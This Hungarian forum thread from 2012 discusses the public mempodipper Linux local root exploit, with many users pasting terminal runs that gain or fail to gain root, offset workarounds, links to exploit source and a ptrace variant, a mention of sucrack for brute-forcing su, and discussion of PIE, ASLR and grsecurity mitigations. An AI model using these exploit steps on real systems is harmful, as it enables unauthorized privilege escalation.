mempodipper - Linux local root exploit szabadon

Bug

[ mempodipper | részletek | sebezhető verziók: Linux kernel >=2.6.39 | fix commit ]

( trey | 2012. 01. 23., h – 13:04 )

ubuntu@server-33367:~$ uname -a
Linux server-33367 3.0.0-12-virtual #20-Ubuntu SMP Fri Oct 7 18:19:02 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
ubuntu@server-33367:~$ whoami
ubuntu
ubuntu@server-33367:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/815/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x4021d8.
[+] Calculating su padding.
[+] Seeking to offset 0x4021cc.
[+] Executing su with shellcode.
# whoami
root
#

--
trey @ gépház

( kedz v | 2012. 01. 23., h – 13:14 )

Aha... azért nem mindenhol megy...


kedz@hws ~ $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/32428/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178
kedz@hws ~ $ uname -a
Linux hws 3.1.5-gentoo #1 SMP Tue Dec 13 13:02:54 CET 2011 i686 Intel(R) Atom(TM) CPU 330 @ 1.60GHz GenuineIntel GNU/Linux

ugyanez. Nem működik.:

------ek@daemon ~ $ uname -a
Linux daemon 3.1.6-gentoo #1 SMP Fri Dec 30 23:09:36 CET 2011 x86_64 Intel(R) Core(TM) i5-2500 CPU @ 3.30GHz GenuineIntel GNU/Linux
ek@daemon ~ $ whoami
ek
ek@daemon ~ $ ./memd
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3925/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./memd -o ADDRESS
[-] Example: ./memd -o 0x402178
ek@daemon ~ $ whoami
ek
ek@daemon ~ $

viszont a megadott paraméterrel:
./memd -o 0x402178
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3961/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x402162.
[+] Executing su with shellcode.
sh-4.1# whoami
root
sh-4.1# exit
exit
ek@daemon ~ $

Szóval nem fenékig tejfel.

3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Lásd fentebb, ennek az oka az, hogy a distrok nagy része úgy fordítja a su-t, hogy nem változik a base address. Miért is tették volna, hiszen nem shared library (most tán átgondolják). Persze nyilván az egésznek a kernel bug az oka, de a fenti "magic number" működése meg emiatt van.

---
;-(

Viszonylag egyszerű megnézni, hogy melyik rendszeren készül alapból PIE bináris fordításkor/linkeléskor és randomizálja-e a kernel: 

echo 'main(){printf("%p\n",&main);}'>p.c&&cc p.c -o p&&./p;./p;./p;./p

Ha itt négy azonos offset cím látható, akkor nem készül PIE és/vagy nem randomizálja a kernel, ha különbözőek, akkor PIE készül és randomizálja is (vagy pedig PaX patchelt kernel van és a RANDEXEC funkciója még a nem relokálható futtatható binárisokat is randomizálja).

Windows a Vista óta (2006), MacOS X a Lion óta (2011) támogatja ezt rendesen. Linux disztribúciók közül ha jól tudom még mindig egyedül csak a Hardened Gentoo fordít alapból PIE binárisokat.

A `file` vagy a `readelf -h {file}` segítségével megállapítható, hogy az adott bináris mire lett fordítva (sima EXEC vagy DYN).

Ez alapján a Fedora16 próbálkozik, de a suid binárisok fele non-PIE: 

# find / -perm +4000 -type f 2>/dev/null |xargs file -N|\
 awk -F: '/LSB executable/{print "exe "$1} /LSB shared/{print "PIE "$1}'|sort
exe /bin/fusermount
exe /lib64/dbus-1/dbus-daemon-launch-helper
exe /sbin/mount.ecryptfs_private
exe /usr/bin/chage
exe /usr/bin/crontab
exe /usr/bin/gpasswd
exe /usr/bin/newgrp
exe /usr/bin/passwd
exe /usr/bin/pkexec
exe /usr/bin/Xorg
exe /usr/lib64/chromium-browser/chrome-sandbox
exe /usr/lib64/nspluginwrapper/plugin-config
exe /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
exe /usr/libexec/kde4/kpac_dhcp_helper
exe /usr/libexec/polkit-1/polkit-agent-helper-1
exe /usr/libexec/pulse/proximity-helper
exe /usr/sbin/ccreds_chkpwd
exe /usr/sbin/mount.davfs
exe /usr/sbin/userhelper
PIE /bin/mount
PIE /bin/su
PIE /bin/umount
PIE /sbin/mount.nfs
PIE /sbin/pam_timestamp_check
PIE /sbin/unix_chkpwd
PIE /usr/bin/at
PIE /usr/bin/chfn
PIE /usr/bin/chsh
PIE /usr/bin/ksu
PIE /usr/bin/staprun
PIE /usr/bin/sudo
PIE /usr/bin/sudoedit
PIE /usr/sbin/usernetctl

Úgy látom, hogy náluk csak ajánlás van a suid binárisok PIE-zésére, bár ez is csak draft még. Pedig szép lett volna ha rajtuk nem fog ez az exploit, ha már "Fedora is the thought and action leader in many of the latest Linux security initiatives." [1].

Ez alapján a Fedora16 próbálkozik, de a suid binárisok fele non-PIE

Ezért készítettek az exploitból a fedorához egy külön verziót, ahol a su-t lecserélték gpasswd-re és már ment is, mint a karikacsapás.

Úgy látom, hogy náluk csak ajánlás van a suid binárisok PIE-zésére

Pedig ráadásul nagyon helyesen leírják, hogy igazából nem csak a suid binárisoknál kellene használni, hanem minden olyan alkalmazásnál, amelyik priviégiummal fut (rootként, vagy valamilyen capabilityvel), vagy nem megbízható bemenetet fogad vagy dolgoz fel. Tehát az apache-tól a dhclient-en át a syslogd-ig nem ártana mindent így fordítani.

Jópáran nem értenek ebben egyet velem, de én azt szoktam mondani, hogy még az `ls` sem baj, ha PIE-nak van fordítva, mert egyes esetekben az is támadási felület lehet. (Pl. jópár ftp szerver nem saját, belső ls implementációt kínál a távoli ftp klienseknek a file listázáshoz, hanem a rendszer ls paranccsát futtatja és annak adja át a klienstől érkező paramétereket... ergo támadható és egy ls-ben kevésbé keresnek biztonsági hibát, mint egy su-ban ;)

"Fedora is the thought and action leader in many of the latest Linux security initiatives."

Marketingben jobbak, mint securityben. :)

Jelenleg szerintem a Hardened Gentoo grsec/PaX kernellel, PIE binárisokkal és secure-by-default beállításokkal az egyetlen biztonságosnak mondható disztro.

Juj, a másik linken ezt a dumát csak most láttam:

"PIE is an Exec-Shield technology"

Ez mekkora hazugság már, te jó ég. Csoda, hogy nem szakad rájuk az ég...

A PIE-t (ET_EXEC helyett ET_DYN ELF futtatható binárisok a randomizált base address érdekében) - úgy ahogy az egész ASLR megoldást - a PaX Team találta ki valamikor a 2000-es évek elején.

Ez a randomizálás mennyire okoz memória-fragmentációt, és teljesítményesést (első blikkre azt modanám, hogy sok memóriaműveletnél foglal/felszabadít főleg igen komolyat)? Mert az ok, hogy biztonságosabb, de ha sok teljesítmény bukok a dolgon, akkor (nekem) egyáltalán nem éri meg kvázi "desktop-ra". Inkább megvédem a gépet máshogy.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Az én esetemben pl lehúzom a hálózatról, és nem engedek senki mást belépni csak jómagam, vagy a tüzfalon minden kintről érkező kérést dobok. Alapvetően az én munkám olyan, hogy nem kell hozzá hálózat de még csak másik ember sem :). Elismerem ez erősen speciális eset.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Ha nagyon kritikus lenne dolog, akkor live-linux korong. Az úgyis csak olvasható. De van egy routerem (NEM RÖHÖGNI :)) amin van egy viszonylag jó tűzfal, viszont ha kellene akkor egy dedikált tűzfalat vásárolnék, célhardvert. Én mindig annak a híve voltam, hogy a biztonságról egy olyan gép gondoskodjon aminek csak ez a feladata. Kritikus esetben mindenképp dedikált hardveres tűzfalat használnék. Annyira meg otthon vagyok hálózatban, hogy azt jól beállítsam. Max még olvasnom kellene egy keveset.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Se a routereden lévő tűzfalad, se egy külön vásárolt csoda dedikált "hardveres" (LOL) tűzfal sem fog megvédeni attól, hogy a böngésződben, a levelező kliensedben, a pdf olvasódban vagy az office alkalmazásodban található biztonsági hibát kihasználják és hozzáférést szerezzenek a gépeden.

Ami segíteni tud, az az ilyen jellegű proaktív biztonsági megoldások, amelyek prevenciós technikákat felhasználva ellehetetlenítik, vagy nagy mértékben megnehezítik a szoftverekben található sebezhetőségek kihasználását.

Az a csomó erőforrás leginkább néhány százalék teljesítményvesztés, amelynél jóval többet buksz el egy háttérben futó, rosszul megírt alkalmazásnál (antivirus, personal firewall, ilyen-olyan agentek, update figyelők, stb.)

Egyébként ha akkora erőforrás igénye lenne, akkor az Apple nem vezette volna be iOS 5-nél az NX-et, a teljes ASLR-t (PIE-szerű base randomizálással) és a PaX-like mprotect resztrikciókkal (futásidejű kódgenerálás ellehetetlenítésére), mert egy mobil eszközben lévő ~1GHz-es ARM processzornál sokkal inkább látszana a teljesítmény vesztés, mint egy 3 GHz-es sok magos x86 processzorral rendelkező desktop gépnél.

Nem, a su-ban külön nincs. A PAM-ban van 1998 óta PAM_FAIL_DELAY, amely "várakoztatásra" van, de ha nincs olyan policy mellé rakva, amely bizonyos számú hibás authentikáció után kitiltja az adott felhasználót, akkor ez kevés a boldogsághoz, hiszen a várakoztatás önmagában nem elég ahhoz, hogy ne lehessen több szálon, akár több ezer párhuzamos su futtatással viszonylag sok jelszót kipróbálni rövid időn belül...

Lásd: apt-get install sucrack ;)

Erősen programkód függő, néhány százalék teljesítmény veszteséget okozhat, de tipikusan az ilyen suid binárisoknál, mint a `su` és társainál abszolút nincs jelentősége. Még akkor se venne észre lassulást a felhasználó, ha 200%-al lenne lassabb.

Remélem segíthettem. :)

Most arról vitatkozunk, hogy a nevezőben lévő idő paramétert tekintsük-e alapnak, vagy annak reciprokát. Én az utóbbira szavaztam. Különben is poénnak indult, kicsit el lett ez bonyolítva, hasogatva van a szőrszál. Ugyanakkor attól még lehet definiálni sebességet.

tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Miért vicc? Hát nem működik? :) Jó tudom, ez lutri, bejött. De brute-force szerintem menne :) Egyébként ki lehet simán szedni a futtatható kódból, hogy mit kell oda bevésni. Gentoo esetén pont ezt az értéket, ami azért meglep.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Nálam eddig megy:

makay@linux-s873:~> ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7345/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.

Itt megáll és 50%-os CPU terhelést mutat, miközben látszólag semmit sem csinál.
openSUSE 12.1 / Tumbleweed - Linux 3.1.9-2

androbit.org - Informatikai portál és könyvtár

( mn3monic v | 2012. 01. 23., h – 13:30 )

[0:majki@arch] ~ % uname -a                                                           pts/0 | 13:15
Linux arch 3.1.5-1-ARCH #1 SMP PREEMPT Sat Dec 10 14:43:09 CET 2011 x86_64 Intel(R) Core(TM) i5-2415M CPU @ 2.30GHz GenuineIntel GNU/Linux
[0:majki@arch] ~ % whoami                                                             pts/0 | 13:15
majki
[0:majki@arch] ~ % ./mempodipper                                                      pts/0 | 13:15
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1315/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401ab8.
[+] Calculating su padding.
[+] Seeking to offset 0x401aaf.
[+] Executing su with shellcode.
[125:majki@arch] ~ % whoami                                                           pts/0 | 13:15
majki
[0:majki@arch] ~ %

-- 

0:majki@arch] ~ % uname -a                                                           pts/0 | 13:29
Linux arch 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Intel(R) Core(TM) i5-2415M CPU @ 2.30GHz GenuineIntel GNU/Linux
[0:majki@arch] ~ % whoami                                                             pts/0 | 13:29
majki
[0:majki@arch] ~ % ./mempodipper                                                      pts/0 | 13:29
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/610/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a57.
[+] Executing su with shellcode.
zsh: segmentation fault  ./mempodipper
[139:majki@arch] ~ % whoami                                                           pts/0 | 13:29
majki
[0:majki@arch] ~ %

--
HUPbeszolas FF extension

( LGee | 2012. 01. 23., h – 13:27 )

openSUSE 3.1.0-1.2-desktop x86_64 


$ ./mempodipper.bin
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6936/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x25e0.
[+] Calculating su padding.
[+] Seeking to offset 0x25d7.
[+] Executing su with shellcode.
su: user H1ÿ°iH1ÿ°j@·@¶°!H»//bin/shHÁSH‰çH1Ûf»-iSH‰áH1ÀPQWH‰æH1Ò°; does not exist
^[[?1;2c^[[?1;2c^[[?1;2c^[[?1;2c$ 1;2c1;2c1;2c1;2c

ha nincs egyeb vedelem, akkor igen, ezt az exploitot se lenne nagy munka brute force modon futtatni ;). de pl. PaX alatt az egesz shellcode dolog elvbol halott, ROP payload-dal viszont ott is mukodne, csak azt persze nyilvan tobb munka osszehozni. grsec alatt meg ugye van brute force vedelem, tehat ott meg tobb munka kvazi one-shot exploitot irni.

Te terelsz. A kérdésem ott van pontosan, precízen leírva az OP-be.

link:
http://hup.hu/cikkek/20120123/mempodipper_linux_local_root_exploit_szab…

Így utólag visszatekintve viszont az öreg rája álláspontra helyezkedtem az ügyben. Akinek biztonság kell, használjon biztonságos kernelt. Az ára ugyanannyi, mint a stock kernelé.

--
GPLv3-as hozzászólás.

ha az execve sikerul, akkor onnan mar egyenes ut az exploit, mivel a vegrehajtott program azzal a kornyezettel dolgozik (adott esetben stderr), amire nem igazan keszitettek fel. TPE-vel csak az olyan exploitokat tudod megakadalyozni, amik direkt execve-t igenyelnek, pl. python/bash/stb alapuakat nem (mintha az fd-n lett volna ehhez is python alapu).

( ulysses v | 2012. 01. 23., h – 13:36 )

Kubuntu 11.10 i686 

ulysses@locris:~$ gcc mempodipper.c -o mempodipper
ulysses@locris:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2284/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049508.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),115(lpadmin),117(admin),122(sambashare),1000(ulysses)
# whoami
root

( snq- | 2012. 01. 23., h – 13:44 )

semmiképpen ne hagyjátok abba a kimenetek idemásolgatását
köszi

Hát, ezen is erősen kétsége. Nálam pl. 11.10-en nem működik.

Szerk.: Mondjuk ma csináltam dist-upgrade-et, így lett 3.0.0.15-ös kernel, de a lenti hsz-eket, amelyek pont azt írják, hogy a mai frissítéssel már nem megy, a hsz-ig még nem olvastam.

________________________________________
"The vision of Christ that thou dost see
Is my vision’s greatest enemy."

( zmaroti | 2012. 01. 23., h – 13:51 )

uname -a
Linux atp 3.2.0-gentoo-r1 #1 SMP PREEMPT Thu Jan 12 14:46:18 CET 2012 x86_64 Pentium(R) Dual-Core CPU E5200 @ 2.50GHz GenuineIntel GNU/Linux
./mempodipper

...
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodiper -o ADDRESS
[-] Example: ./mempodiper -o 0x402178

type su
su egy /bin/su

maradtam userként, únnézki gentoo alatt nem megy alapban.

Ez szép és jó, viszont ugye egy exploitnak nem az a lényege, hogy fel tudj törni egy olyan gépet, amihez úgyis van root hozzáférésed, márpedig akkor te sem tudod megnézni kézzel, hogy mi a jó offset. Tehát elméletileg maradna az a megoldás, hogy egy ugyanolyan beállításokkal és ugyanolyan gcc-vel és glibc-vel fordított su-t kellene megnézned, amit már egy script kiddie nem fog tudni megtenni. Szóval lényegében az, hogy az su-t csak a root tudja olvasni magában is megnehezíti a hiba kihasználását.

Nem, de ahhoz megint csak fordítani kell, ami megint nem egy olyan feladat, amit egy script kiddie megtesz. Az én érvem csupán annyi volt, hogy aki nem ért hozzá annyira, hogy a meglevő futtatható exploithoz bármit hozzátegyen, az ellen annyi is hatásos tud lenni, ha nem olvasható az su.

Hehe, ez most nagy pofáraesés, mert épp kijött az exploitokból a ptrace verzió, amelynél már nem kell olvasási lehetőség sem a suid binárishoz, hanem ptrace segítségével keresi meg a megfelelő offsetet...

http://hunger.hu/mempodipper.c
http://hunger.hu/hurrdurr.py

Szóval bukott az elméleted. :)

A grsecben meg is jelent tegnap egy új védelmi megoldás, amelynek bekapcsolása esetén csak akkor lehet ptracelni egy adott binárist, ha ahhoz a file rendszerben is van olvasási joga a felhasználónak.

http://grsecurity.net/~spender/ptrace_readexec.diff

Ez tovább nehezíti az információ szerzést az ismeretlen binárisokról.

( ksgy | 2012. 01. 23., h – 14:14 )


ksgy@szamoca ~ $ uname -a
Linux szamoca 2.6.37-gentoo-r4 #1 SMP Tue May 10 10:56:25 CEST 2011 x86_64 Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz GenuineIntel GNU/Linux
ksgy@szamoca ~ $ whoami 
ksgy
ksgy@szamoca ~ $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/31513/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178


ksgy@mormota:~$ uname -a
Linux mormota 3.0.0-14-generic #23-Ubuntu SMP Mon Nov 21 20:34:47 UTC 2011 i686 i686 i386 GNU/Linux
ksgy@mormota:~$ whoami
ksgy
ksgy@mormota:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/5302/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
# whoami
root

--
x-plane :: hu

Segítenél? Kicsit össze vagyok zavarodva. Lefordítottam az általad linkelt forrást, mire az eredmény:


./correct_proc_mem_reproducer
vulnerable

Aztán itt meg azt olvasom, hogy kijavult. Megnéztem a kernel forrást is, valóban van erre egy patch benne. Természetesen a javított kernelem fut:


uname -r
3.2.1-3.fc16.x86_64

Nem azt kellett volna kiírnia, hogy "not vulnerable"? Az amúgy csak hab a tortán, hogy nem igazán értem. Ugye, ha hiba következne be, az end label-re ugrik, lezárja az fd filedescriptor-ral megáldott file-t, s kiírja, hogy "not vulnerable". Viszont, ha sikerül, akkor kiírja, hogy "vulnerable", viszont nem fut bele az end label utáni részbe? Nem hiányzik ott egy return (0);, vagy valami ilyesmi? Mondjuk valami sántít abban, amit írok, mert akkor mindkét üzenetet ki kellene írnia.

tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

A rendes reproducer verzió továbbra is az ami nálam van kinn (abban van return 0 is egyébként, de itt nincs jelentősége, csak így pedantic ;). Spender csak azt a szarvashibát javította, amely miatt fals pozitív "not vulnerable" üzenetet adott a nála kinn levő reproducer (hibás < 0 ellenőrzés, cast mellett), a többi apróbb javítást nem vette át tőlem.

Mivel azonban ez egy reproducer, ezért csak arra volt való, hogy reprodukálni lehessen hibás kernelen a problémát. Alapvetően azt ellenőrzi, hogy lehet-e írni a /proc/pid/mem-be vagy nem (régebbi kerneleken nem lehetett, így azok nem érintettek a biztonsági hibában). Linus viszont olyan javítást eszközölt, amelytől továbbra is írható marad a /proc/pid/mem, de (remélhetőleg :) most már csak a saját processz számára. A reproducer viszont mivel csak az írás tényét ellenőrzi, így továbbra is "vulnerable"-t ír az új kernelekre (kivéve Ubuntu Oneiric alatt, mert ott nem vették át Linus módosításait, hanem inkább revertelték azt a commitot, amely előidézte a problémát).

Ha ellenőrizni akarod, hogy javítva lett-e a hiba, futtasd le az exploitot. (Ha eddig root shellt kaptál és az új kernellel már nem, akkor nagy valószínűséggel javítva van :)

De kilehetne bővíteni a reproducert is, hogy az exploitot utánozva, de egyszerűbb módszerekkel ellenőrizze a problémát. Meghagyom neked házi feladatnak. :P

( secretx v | 2012. 01. 23., h – 14:35 )

Linux debian-test 2.6.32-5-openvz-amd64 #1 SMP Thu Nov 3 04:22:10 UTC 2011 x86_64 GNU/Linux

===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/15988/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401fa8.
[+] Calculating su padding.
[+] Seeking to offset 0x401f90.
[+] Executing su with shellcode.
testmiska2@debian-test:~$

-------------------------------------------------------
ezen se hostkent se guestkent nem akarodzik menni, akar debian guestnel sem.

Hell is empty and all the devils are here.
-- Wm. Shakespeare, "The Tempest"

( kmmk | 2012. 01. 23., h – 15:21 )

Ez a "hiba" egy rohadt nagy WTF. Jo linux-os szokas szerint csak egy clean up and fix tipusu hiba.
Ki volt az az eszement, aki megirta a mem_open, mem_read, mem_write fuggvenyeket. Hihetetlen, hogy valaki kepes ekkora hulyeseget commitolni.
Mondjuk nem lepodtem meg, mert ehhez hasonlo ganyolasokkal van tele az egesz "csodalatos" linux kernel.

Egy észt egyetemista jelentette a hibát, ő nyilván már tisztában volt a biztonsági vonzatával.

Ezek után különösen vicces a Linus szokásos suttyomban javítása:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=comm…

Keresd a *security*, *vulnerability* vagy *CVE* szavakat a commitban. Ha nem találod, csak mellébeszélést és jó alaposan elrejtett biztonsági javítást egy nagyobb átalakításnak álcázva, akkor ne csodálkozz... :)

"Egy észt egyetemista jelentette a hibát, ő nyilván már tisztában volt a biztonsági vonzatával."

Ilyenkor kerdeznem meg, hogy a nagyrabecsult linux kernel developerek hol voltak? Biztos a linux kernelt kiszolgalo szervereket adminisztraltak. :)

"Keresd a *security*, *vulnerability* vagy *CVE* szavakat a commitban. Ha nem találod, csak mellébeszélést és jó alaposan elrejtett biztonsági javítást egy nagyobb átalakításnak álcázva, akkor ne csodálkozz... :)"

Ezt en is eszrevettem/hianyoltam. Nem szabad kiirni azokat a szavakat, mert akkor pontosabb statisztikat lehet kesziteni a kernel biztonsagaval kapcsolatban.

Szerintem a commit message másik érdekes része ez: "If
somebody actually finds a load where this matters, we'll need to revert
this commit."

Exploit íróknak érdemes lesz figyelni ezt a környéket, hátha mire revertelik, elfelejtik, hogy ez egy biztonsági probléma volt...

Más: valaki nem csinál olyan kereshető adatbázist, ami CVE számokhoz linkeli a javító git commit id-ket? (Lehetőleg nem csak a mainline, hanem mondjuk production rendszerekben használt kernelekhez is.)

Üdv,
Gergely

Ilyenkor kerdeznem meg, hogy a nagyrabecsult linux kernel developerek hol voltak?

Hát, nekik jelentette az észt srác, úgyhogy a probléma elmismásolásán dolgoztak. :P

Időközben egyébként kiadta a srác a kernel security listára küldött jelentését és az exploitját is:

http://www.ut.ee/~asd/exp-0-aedla/report.html
http://www.ut.ee/~asd/exp-0-aedla/exp-0-aedla.c

Úgyhogy egy valamit biztosan lehet tudni, hogy neki már volt a hibára exploitja 1 héttel ezelőtt is. A kérdés csak az, hogy kinek volt még (akár korábban is... ;)

Ha jol latom a hiba 2011 marcius 13 korul kezdodott. Azota meg mar eltelt jo par honap. Tehat aki hibat akart keres, az mar reg megtalalta. Kiveve a linux kernel developereket. :)
Ezek utan mar az is kerdeses, hogy az egesz fejlesztesi rendszer jo e igy. Ha valaki szerez commit jogot, utana szinte barmit commitolhat, hiba irjak masok ala, mert ugyse nezik meg/ellenorzik. Az meg mar hab a tortan, hogy eroforraspazarlo, gany megoldast kuldott be, amit nem szabadott volna elfogadni.

Valóban meggondolandó, dehát ahol fát vágnak ott hullik a forgács.
Amúgy el tudom képzelni, hogy a hozzáállás olyan hogy "mi" majd írjuk, a hibákat meg majd keressétek meg ti.
Ha nem ilyen lenne, akkor szerintem képtelenség lenne, hogy ilyen ütemben jöjjenek ki az újabb és újabb verziók.
Persze mindez csak sejtés, nem látok bele nem olvasom a kerneles levlistákat.

Meggyőzően próbálsz szakérteni, bár ez eddig csak abban merült ki, hogy "gány"-nak nevezed mások munkáját, anélkül, hogy ezt érvekkel támasztanád alá. Meg merném kockáztatni, hogy a csávónak aki tolt némi kódot az 'mm' alrendszerbe több köze van a dologhoz, mint neked (persze csak amíg be nem bizonyítod az ellenkezőjét). Feltételezem, hogy volt oka, hogy meg akarták oldani, hogy írható legyen a proc/pid/mem, és kitalált rá egy védelmet, amit végül kiderült, hogy ki lehet játszani. Elkövetett egy logikai hibát. És? Veled még sosem fordult elő?

És ezzel nem foglaltam állást abban az ügyben, hogy mi a véleményem a 'kernel fejlesztés' vs 'security' topicban, csak roppant mód zavar a más emberek munkáját lekezelő stílusod.

Mindenesetre megkönnyítettem a dolgod, kigyűjtöttem a kérdéses 4 kommittot, hogy könnyebb legyen megmutatnod, hogy mi volt ebben az erőforráspazarló gányolás:
1 2 3 4

"Such functionality is useful as it gives debuggers a simple and efficient mechanism to manipulate a process' address space."
-- http://lwn.net/Articles/433326/

"The general approach used was suggested to me by Alexander Viro, but any mistakes present in these patches are entirely my own."
Mókás, hogy ennek a kijelentésnek így utólag valóban súlya lett. :)

Na jó, de mi a hozzáférés feltétele? Egy kernel paraméter? Mert ha csak úgy hozzáférhet akár a root a folyamatok memóriájához, akkor izgalmas dolog lehet például egy titkosítást végző process, vagy amelyik jelszavakat kezel...

tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Azért ennyire nem hülyék még a kernelfejlesztők sem. :)

http://lxr.free-electrons.com/source/fs/proc/base.c#L197 -- Azaz minden process csak a sajátját látja, kivéve ha trace-elik. Itt még a root user sem élvez közvetlenül privilégiumot (bár trace-elésnél már igen, tehát közvetetten itt is).

Jelenleg 'ptrace' rendszerhívással láthatod és módosíthatod minden egyes process memóriáját, amit van jogod tracelni. Ez akkor van ha root vagy, illetve ha a tracelni kívánt process a tracelő process gyereke, vagy azzá tehető (nem suid, és ugyanaz a user futtatja). [Nyilván ennél kicsit szofisztikáltabb a szabályrendszer, de majd kijavít valaki, ha nem így van.] Szóval ha root vagy jó eséllyel ahhoz férsz hozzá amihez csak akarsz. Valószínűleg annyit akartak a /proc/pid/mem írhatóvá tételével elérni, hogy egy hatékonyabb interfészen keresztül tehesd ezt meg a jövőben (ne csak 4/8 byteonként), de továbbra is csak a saját processzeid memóriáját írhatod/olvashatod, illetve azokét amit van jogod tracelni.

[szerk] látom megelőztek :)

( mauzi v | 2012. 01. 23., h – 15:30 )

Óóóóó... de nagy kő esett le, amikor megláttam, hogy 2.6.39+... Mindenhol 2.6.38.8-at használunk és supportálunk...

( Erendis42 | 2012. 01. 23., h – 16:04 )


# apt-get install stellarium
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  stellarium-data
The following NEW packages will be installed:
  stellarium stellarium-data
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 35.6 MB of archives.
After this operation, 48.3 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://hu.archive.ubuntu.com/ubuntu/ oneiric/universe stellarium-data all 0.11.0-1 [32.2 MB]
Get:2 http://hu.archive.ubuntu.com/ubuntu/ oneiric/universe stellarium amd64 0.11.0-1 [3407 kB]                               
